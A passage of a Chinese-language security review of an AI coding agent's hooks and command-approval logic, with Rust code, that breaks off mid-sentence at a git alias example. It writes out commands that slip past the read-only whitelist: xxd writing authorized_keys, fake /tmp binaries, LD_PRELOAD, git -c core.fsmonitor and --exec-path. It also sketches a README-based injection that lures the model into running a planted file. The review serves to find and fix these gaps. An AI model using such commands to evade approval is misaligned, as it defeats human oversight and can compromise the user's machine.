<span class="w">            </span><span class="k">return</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span>
<span class="w">                </span><span class="s">&quot;ERROR: `{}` blocked by PreToolUse hook (exit {}):</span><span class="se">\n</span><span class="s">{}&quot;</span><span class="p">,</span>
<span class="w">                </span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">o</span><span class="p">.</span><span class="n">code</span><span class="p">,</span><span class="w"> </span><span class="n">o</span><span class="p">.</span><span class="n">output</span>
<span class="w">            </span><span class="p">)</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">        </span><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;ERROR: PreToolUse hook failed: {e}&quot;</span><span class="p">),</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


四个设计点：

<strong>任何非零退出都算拒绝。</strong> 不区分退出码 1 和 3，也不区分「故意拒绝」和「脚本自己崩了」。这是 fail closed：钩子崩溃不该被理解成「没有意见」。

<strong>钩子的输出会原样回到模型。</strong> 所以钩子可以写「不要在 <code>src/generated/</code> 下改文件，那些是生成的」，模型能读懂。这让钩子不仅是拦截器，还是策略的传达通道。

<strong><code>PreToolUse</code> 的失败直接返回，不执行工具。</strong> 对比 <code>PostToolUse</code>：
<div class="codehilite"><pre><span></span><code><span class="nb">Ok</span><span class="p">(</span><span class="n">o</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">result</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span>
<span class="w">    </span><span class="s">&quot;</span><span class="se">\n</span><span class="s">[PostToolUse hook exited {}]</span><span class="se">\n</span><span class="s">{}&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="n">o</span><span class="p">.</span><span class="n">code</span><span class="p">,</span><span class="w"> </span><span class="n">o</span><span class="p">.</span><span class="n">output</span>
<span class="p">)),</span>
</code></pre></div>


PostToolUse 的非零退出只是往结果里追加一段文字，<strong>不影响已经发生的事实</strong>。这个不对称是对的：事后钩子没有否决权，否则你既执行了操作又声称它被拒绝，历史会自相矛盾。

<strong><code>filter</code> 里用 <code>h.matches(&amp;call.name)</code>。</strong> 匹配器支持通配（<code>*</code>）和精确名，所以可以写「所有 <code>write_*</code> 都要检查」。这个设计让钩子能表达「按工具类别」的策略，而不只是逐个列举。
<h2>钩子的边界：30 秒、无沙箱、可信配置</h2>

钩子有三个必须知道的边界。

<strong>第一，30 秒硬超时。</strong>
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">HOOK_TIMEOUT_SECS</span><span class="p">:</span><span class="w"> </span><span class="kt">u64</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">30</span><span class="p">;</span>
</code></pre></div>


超时后 <code>kill</code> 子进程，退出码记成 <code>-2</code>，输出里追加「hook timed out」。对 PreToolUse 来说，<code>-2</code> 是非零，所以超时等于拒绝。这个语义是对的——一个卡住的钩子不能让整个 agent 无限等，也不能被当成放行。

但要注意实现里的一个细节：超时分支只 <code>kill</code> 再 <code>wait</code>，然后 <code>join</code> 两个排空线程。如果钩子自己又 spawn 了子进程并且没被杀掉（<code>kill</code> 只杀直接子进程），那两个排空线程会一直等到管道 EOF——也就是等到那个孙进程退出。所以「30 秒超时」对「钩子里跑了个后台服务」这种写法并不成立。

<strong>第二，钩子没有沙箱。</strong> <code>hooks::run</code> 里对 <code>shell_command</code> 只设了 <code>current_dir</code>、<code>NANOHERMES_TOOL_NAME</code> 和 <code>NANOHERMES_HOOK_EVENT</code> 两个环境变量、以及三根管道，<strong>没有调用 <code>sandbox::attach</code></strong>。所以钩子以完整权限运行，能读写全盘。这是合理的——钩子是用户自己配的，属于「可信配置」——但它意味着 <code>sandbox: read-only</code> 这个设置对钩子完全无效。如果你的钩子命令是 <code>./scripts/check.sh</code>，而这个脚本会 clone 仓库，那它就能在工作区外写文件。

<strong>第三，钩子的失败路径会漏线程。</strong> 看这一段：
<div class="codehilite"><pre><span></span><code><span class="nb">Err</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;failed to wait for hook: {e}&quot;</span><span class="p">)),</span>
</code></pre></div>


<code>try_wait</code> 出错时直接 <code>return</code>，两个已经 <code>spawn</code> 的排空线程既没 <code>join</code> 也没被丢弃（<code>JoinHandle</code> 被 drop 等于 detach）。它们会继续跑，直到管道 EOF。这条路径概率极低（<code>try_wait</code> 只在 <code>waitpid</code> 系统调用失败时才 <code>Err</code>），但它是「泄漏一个线程」而不是「返回一个错误」——在长时间运行的守护进程里值得修。
<h2>审批策略：三个值，一个短路</h2>

第四道闸门是 <code>needs_approval</code>，它在 <code>run_command</code> 和 <code>git_commit</code> 里各调一次：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">needs_approval</span><span class="p">(</span><span class="n">auto_approve</span><span class="p">:</span><span class="w"> </span><span class="kt">bool</span><span class="p">,</span><span class="w"> </span><span class="n">policy</span><span class="p">:</span><span class="w"> </span><span class="nc">ApprovalPolicy</span><span class="p">,</span><span class="w"> </span><span class="n">command</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">auto_approve</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="n">policy</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">ApprovalPolicy</span><span class="p">::</span><span class="n">Never</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w">        </span><span class="n">ApprovalPolicy</span><span class="p">::</span><span class="n">Untrusted</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w">        </span><span class="n">ApprovalPolicy</span><span class="p">::</span><span class="n">OnRequest</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="o">!</span><span class="n">is_trusted_command</span><span class="p">(</span><span class="n">command</span><span class="p">),</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


三个策略的语义：
<div class="table-scroll"><table>
<thead>
<tr>
<th>策略</th>
<th>问不问</th>
<th>典型场景</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>never</code></td>
<td>从不问</td>
<td>完全信任 / 无人值守</td>
</tr>
<tr>
<td><code>on-request</code></td>
<td>只问非只读命令</td>
<td>日常交互</td>
</tr>
<tr>
<td><code>untrusted</code></td>
<td>每条都问，包括 <code>ls</code></td>
<td>首次接触陌生仓库</td>
</tr>
</tbody>
</table></div>

<code>auto_approve</code> 的短路是第一行的绝对优先。这让「模式强制放开」可以覆盖任何策略——<code>goal</code> 模式就是这么做的。

这里有一个值得单独指出的语义问题：<strong><code>Untrusted</code> 会连 <code>ls</code> 都问。</strong> 这听起来很安全，实践里却会导致「审批疲劳」——用户问了几十次之后开始无脑按 <code>y</code>，真正的危险命令混在其中就过去了。安全设计里有个说法叫「告警疲劳是安全最大的敌人」，<code>Untrusted</code> 是它的教科书案例。

<code>OnRequest</code> 是更合理的默认值：只对非只读命令提问。它的质量完全取决于 <code>is_trusted_command</code> 判定得准不准——也就是下一节的内容。
<h2>is_trusted_command 的六条判定</h2>

这个函数是整个审批体系的核心，判定顺序是：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">is_trusted_command</span><span class="p">(</span><span class="n">command</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">cmd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">command</span><span class="p">.</span><span class="n">trim</span><span class="p">();</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">cmd</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// 1. 任何控制操作符、重定向、命令替换都直接判不可信</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">cmd</span><span class="p">.</span><span class="n">chars</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">c</span><span class="o">|</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="fm">matches!</span><span class="p">(</span>
<span class="w">            </span><span class="n">c</span><span class="p">,</span>
<span class="w">            </span><span class="sc">&#39;|&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;&amp;&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;;&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;&lt;&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;&gt;&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;`&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;$&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;(&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;)&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="sc">&#39;\n&#39;</span>
<span class="w">        </span><span class="p">)</span>
<span class="w">    </span><span class="p">})</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// 2. 跳过前置的 KEY=VALUE</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">program</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">loop</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">match</span><span class="w"> </span><span class="n">tokens</span><span class="p">.</span><span class="n">next</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="nb">Some</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">is_env_assignment</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">continue</span><span class="p">,</span>
<span class="w">            </span><span class="nb">Some</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">break</span><span class="w"> </span><span class="n">t</span><span class="p">,</span>
<span class="w">            </span><span class="nb">None</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">    </span><span class="p">};</span>
<span class="w">    </span><span class="c1">// 3. 按 basename 判定</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">program</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">program</span><span class="p">.</span><span class="n">rsplit</span><span class="p">(</span><span class="sc">&#39;/&#39;</span><span class="p">).</span><span class="n">next</span><span class="p">().</span><span class="n">unwrap_or</span><span class="p">(</span><span class="n">program</span><span class="p">);</span>
<span class="w">    </span><span class="c1">// 4. git 走子命令白名单，其余走二进制白名单</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">program</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s">&quot;git&quot;</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="n">git_subcommand_is_read_only</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="n">tokens</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="n">TRUSTED_BINARIES</span><span class="p">.</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">program</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


六条判定分别是：非空、无控制操作符、跳过环境变量、取 basename、git 特判、查白名单。

前两条是必要的。控制操作符列表里最重要的是 <code>|</code>、<code>&amp;</code>、<code>;</code>、<code>&lt;</code>、<code>&gt;</code>——分别对应管道、后台/与、命令分隔、输入重定向、输出重定向。反引号和 <code>$</code> 挡的是命令替换（<code>$(...)</code> 与反引号包裹）。<code>(</code> 和 <code>)</code> 挡的是子 shell。<code>\n</code> 挡的是「第一行看着无害，第二行是 <code>rm -rf /</code>」。

这一层做得对，而且测试覆盖了主要形态：
<div class="codehilite"><pre><span></span><code><span class="fm">assert!</span><span class="p">(</span><span class="o">!</span><span class="n">is_trusted_command</span><span class="p">(</span><span class="s">&quot;echo hi &gt; f&quot;</span><span class="p">));</span>
<span class="fm">assert!</span><span class="p">(</span><span class="o">!</span><span class="n">is_trusted_command</span><span class="p">(</span><span class="s">&quot;ls | rm&quot;</span><span class="p">));</span>
<span class="fm">assert!</span><span class="p">(</span><span class="o">!</span><span class="n">is_trusted_command</span><span class="p">(</span><span class="s">&quot;ls &amp;&amp; rm&quot;</span><span class="p">));</span>
<span class="fm">assert!</span><span class="p">(</span><span class="o">!</span><span class="n">is_trusted_command</span><span class="p">(</span><span class="s">&quot;$(rm x)&quot;</span><span class="p">));</span>
</code></pre></div>


但后四条各有各的问题。接下来三节分别拆。
<h2>只读白名单的四个漏洞</h2>

<code>TRUSTED_BINARIES</code> 有 62 个条目，注释的承诺是「纯粹只读、从不写入、从不 spawn 其他程序」。至少有四个成员违反了这个承诺：
<div class="table-scroll"><table>
<thead>
<tr>
<th>命令</th>
<th>写文件的写法</th>
<th>为什么算「可信」的误判</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>sort</code></td>
<td><code>sort -o out.txt in.txt</code></td>
<td><code>-o</code> 直接把结果写进文件</td>
</tr>
<tr>
<td><code>tree</code></td>
<td><code>tree -o out.txt</code></td>
<td><code>-o</code> 同上，tree 有输出到文件选项</td>
</tr>
<tr>
<td><code>xxd</code></td>
<td><code>xxd -r in.hex out.bin</code></td>
<td><code>-r</code> 反向转换，把 hex 还原成二进制并写盘</td>
</tr>
<tr>
<td><code>date</code></td>
<td><code>date -s "2026-01-01"</code></td>
<td><code>-s</code> 设置系统时间（需要权限）</td>
</tr>
</tbody>
</table></div>

其中 <code>sort -o</code> 和 <code>tree -o</code> 是标准用法，不需要任何特殊权限，在任何用户下都能写文件。而 <code>xxd -r</code> 能写出<strong>任意二进制内容</strong>——这意味着一个「只读」白名单条目实际上可以提供完整的文件写入能力：
<div class="codehilite"><pre><span></span><code>xxd -r payload.hex /home/user/.ssh/authorized_keys
</code></pre></div>


这条命令不含任何控制操作符，程序名是 <code>xxd</code>，在白名单里，参数是普通文件名。<code>is_trusted_command</code> 返回 true，<code>OnRequest</code> 策略下不需要审批。

<code>date -s</code> 的后果更微妙：它不写文件，但会改变系统时间，足以破坏依赖时间的证书校验、日志顺序、构建缓存。

修法不是把四个条目删掉——那会连带砍掉它们的正常用法（<code>sort</code> 排序、<code>tree</code> 看目录树都是好工具）。正确做法是<strong>从「按程序名判定」升级成「按程序名加参数判定」</strong>：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">is_read_only_invocation</span><span class="p">(</span><span class="n">program</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">args</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="p">[</span><span class="o">&amp;</span><span class="kt">str</span><span class="p">])</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">match</span><span class="w"> </span><span class="n">program</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="s">&quot;sort&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="s">&quot;tree&quot;</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="o">!</span><span class="n">args</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">a</span><span class="o">|</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s">&quot;-o&quot;</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">a</span><span class="p">.</span><span class="n">starts_with</span><span class="p">(</span><span class="s">&quot;-o&quot;</span><span class="p">)),</span>
<span class="w">        </span><span class="s">&quot;xxd&quot;</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="o">!</span><span class="n">args</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">a</span><span class="o">|</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s">&quot;-r&quot;</span><span class="p">),</span>
<span class="w">        </span><span class="s">&quot;date&quot;</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="o">!</span><span class="n">args</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">a</span><span class="o">|</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s">&quot;-s&quot;</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">a</span><span class="p">.</span><span class="n">starts_with</span><span class="p">(</span><span class="s">&quot;--set&quot;</span><span class="p">)),</span>
<span class="w">        </span><span class="n">_</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="n">TRUSTED_BINARIES</span><span class="p">.</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">program</span><span class="p">),</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


这个改动很小，但它把安全模型从「信任程序」变成「信任调用」。后者的语义才是对的：<code>sort</code> 不是只读的，「<code>sort</code> 不带 <code>-o</code>」才是只读的。
<h2>按 basename 判定：<code>/tmp/ls</code> 也算可信</h2>

第二处问题是 <code>program.rsplit('/').next()</code>：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">program</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">program</span><span class="p">.</span><span class="n">rsplit</span><span class="p">(</span><span class="sc">&#39;/&#39;</span><span class="p">).</span><span class="n">next</span><span class="p">().</span><span class="n">unwrap_or</span><span class="p">(</span><span class="n">program</span><span class="p">);</span>
</code></pre></div>


它的本意是「<code>/bin/ls</code> 和 <code>ls</code> 是同一个程序」。但它同时也让 <code>/tmp/evil/ls</code> 变成了「可信的 <code>ls</code>」——只要文件名是 <code>ls</code>，不管这个文件是谁写的、内容是什么。

构造一个攻击不需要什么技巧：
<div class="codehilite"><pre><span></span><code>/tmp/x/ls -la
</code></pre></div>


不含控制操作符，basename 是 <code>ls</code>，在白名单里，判定为可信，不询问就执行。而 <code>/tmp/x/ls</code> 可以是任意脚本。

这个洞的严重性取决于攻防假设。如果假设是「模型是善意的、只是偶尔犯错」，那这个洞无所谓——模型不会去执行 <code>/tmp/x/ls</code>。但如果假设是「仓库里可能有一个恶意文件，模型可能读到它并照着执行」，那这就是一条完整的远程代码执行路径：往仓库里放一个叫 <code>ls</code> 的可执行文件，在 <code>README</code> 里诱导模型跑它。

修法有两档：

<strong>弱一点：</strong> 只对「没有路径分隔符」的命令做 basename 匹配。带 <code>/</code> 的一律要求审批。
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">program</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">program</span><span class="p">.</span><span class="n">contains</span><span class="p">(</span><span class="sc">&#39;/&#39;</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span><span class="w">   </span><span class="c1">// 显式路径一律不可信</span>
<span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">program</span>
<span class="p">};</span>
</code></pre></div>


这个改法会误伤 <code>/bin/ls</code> 这种绝对路径的正常用法——但它只是多问一次，不是不能用。fail closed 的方向是对的。

<strong>强一点：</strong> 校验路径的「可信根」。只有 <code>/bin</code>、<code>/usr/bin</code>、<code>/usr/local/bin</code> 下的程序可以按 basename 免问，其他路径一律问。这样既保留了 <code>/bin/ls</code> 的便利，又堵住了 <code>/tmp</code>。代价是要处理 <code>PATH</code> 查找、软链接（<code>/bin</code> 常常链到 <code>/usr/bin</code>）、以及 Windows 上没有 <code>/bin</code> 的事实。

对一个跨平台工具，第一档更现实。第二档适合在 Linux 上做严格模式。
<h2>环境变量前缀：LD_PRELOAD 那一行</h2>

第三处问题是「跳过前置的 <code>KEY=VALUE</code>」：
<div class="codehilite"><pre><span></span><code><span class="nb">Some</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">is_env_assignment</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">continue</span><span class="p">,</span>
</code></pre></div>


跳过本身是对的——<code>FOO=bar ls</code> 和 <code>ls</code> 应该同样处理。但它只检查了「变量名合法」，没检查<strong>变量值会不会改变执行行为</strong>。

最直接的例子是 <code>LD_PRELOAD</code>：
<div class="codehilite"><pre><span></span><code>LD_PRELOAD=/tmp/evil.so ls
</code></pre></div>


程序名是 <code>ls</code>，在白名单里，参数是 <code>-la</code> 或什么都没有，判定为只读可信，不询问就执行。而 <code>LD_PRELOAD</code> 会让动态链接器在 <code>ls</code> 启动前先加载 <code>/tmp/evil.so</code>——这等于在 <code>ls</code> 进程里执行任意代码，权限和 <code>ls</code> 完全相同（也就是你的全部权限）。

同类变量还有：
<div class="table-scroll"><table>
<thead>
<tr>
<th>变量</th>
<th>作用</th>
<th>风险</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>LD_PRELOAD</code></td>
<td>预加载共享库</td>
<td>任意代码执行</td>
</tr>
<tr>
<td><code>LD_LIBRARY_PATH</code></td>
<td>改变库搜索路径</td>
<td>劫持依赖库</td>
</tr>
<tr>
<td><code>GIT_SSH_COMMAND</code></td>
<td>指定 git 的 ssh 命令</td>
<td>只在网络操作生效，但可执行任意程序</td>
</tr>
<tr>
<td><code>PAGER</code> / <code>GIT_PAGER</code></td>
<td>指定分页器</td>
<td><code>git log</code> 会 spawn 它</td>
</tr>
<tr>
<td><code>BASH_ENV</code></td>
<td>非交互 bash 启动时读的文件</td>
<td>任意代码执行</td>
</tr>
<tr>
<td><code>NODE_OPTIONS</code></td>
<td>Node 启动参数</td>
<td><code>--require /tmp/x.js</code></td>
</tr>
</tbody>
</table></div>

<code>PAGER</code> 这一项特别有意思：<code>git log</code> 在 <code>TRUSTED_GIT_SUBCOMMANDS</code> 里，是免问的只读命令。但如果用户环境里 <code>PAGER</code> 指向一个脚本，<code>git log</code> 就会 spawn 这个脚本。所以「git log 是只读的」这个判断依赖于<strong>环境没有被污染</strong>，而环境恰恰是模型能改的（通过前置赋值）。

修法：只允许「安全变量」前缀，或者干脆禁止任何环境变量前缀。
<div class="codehilite"><pre><span></span><code><span class="c1">// 保守：不允许前置赋值</span>
<span class="nb">Some</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">is_env_assignment</span><span class="p">(</span><span class="n">t</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
</code></pre></div>


代价是 <code>FOO=bar ./test</code> 这种用法每次都要问。对 Agent 场景可以接受——模型完全可以用 <code>export</code> 写在一条命令里，而那条命令本来就该问。
<h2>git 子命令白名单为什么挡不住别名</h2>

<code>git</code> 的处理是整套判定里最复杂的一段：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">git_subcommand_is_read_only</span><span class="o">&lt;&#39;</span><span class="na">a</span><span class="o">&gt;</span><span class="p">(</span><span class="n">tokens</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="nc">mut</span><span class="w"> </span><span class="k">impl</span><span class="w"> </span><span class="nb">Iterator</span><span class="o">&lt;</span><span class="n">Item</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;&#39;</span><span class="na">a</span><span class="w"> </span><span class="kt">str</span><span class="o">&gt;</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="kt">bool</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">const</span><span class="w"> </span><span class="n">VALUE_FLAGS</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="p">[</span><span class="o">&amp;</span><span class="kt">str</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="p">[</span><span class="s">&quot;-C&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;-c&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;--git-dir&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;--work-tree&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;--namespace&quot;</span><span class="p">];</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">pending_value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">token</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">tokens</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="n">pending_value</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">pending_value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w">            </span><span class="k">continue</span><span class="p">;</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="n">token</span><span class="p">.</span><span class="n">starts_with</span><span class="p">(</span><span class="sc">&#39;-&#39;</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="k">if</span><span class="w"> </span><span class="n">VALUE_FLAGS</span><span class="p">.</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">token</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">                </span><span class="n">pending_value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w">            </span><span class="p">}</span>
<span class="w">            </span><span class="k">continue</span><span class="p">;</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="n">TRUSTED_GIT_SUBCOMMANDS</span><span class="p">.</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">token</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="kc">false</span>
<span class="p">}</span>
</code></pre></div>


<code>VALUE_FLAGS</code> 的作用是跳过「带值的全局 flag」的下一个 token。没有它，<code>git -C /repo status</code> 会把 <code>/repo</code> 当成子命令，判定失败。有了它，<code>/repo</code> 被跳过，<code>status</code> 被正确识别。测试里覆盖了这个 case。

但这套逻辑有三个洞。

<strong>洞一：<code>git -c</code> 的值可以指定任意程序。</strong> <code>-c</code> 在 <code>VALUE_FLAGS</code> 里，所以它的值被跳过，然后 <code>status</code> 被判定为只读：
<div class="codehilite"><pre><span></span><code>git -c core.fsmonitor=/tmp/evil.sh status
</code></pre></div>


<code>core.fsmonitor</code> 是 git 会<strong>主动执行</strong>的配置项（每次检查工作区状态时调用）。所以这条「只读」命令会执行 <code>/tmp/evil.sh</code>。同类配置还有 <code>core.editor</code>、<code>core.pager</code>、<code>diff.external</code>、<code>filter.*.clean</code>。

<strong>洞二：<code>--exec-path</code> 不在 <code>VALUE_FLAGS</code> 里，但它以 <code>-</code> 开头所以被 <code>continue</code> 跳过。</strong> 于是：
<div class="codehilite"><pre><span></span><code>git --exec-path=/tmp status
</code></pre></div>


被判为只读，而 git 会从 <code>/tmp</code> 里找 <code>git-status</code> 来执行。

<strong>洞三，也是最根本的：git 别名。</strong> 如果用户的 <code>~/.gitconfig</code> 里有：
<div class="codehilite"><pre><span></span><code><span class="k">[alias]</span>
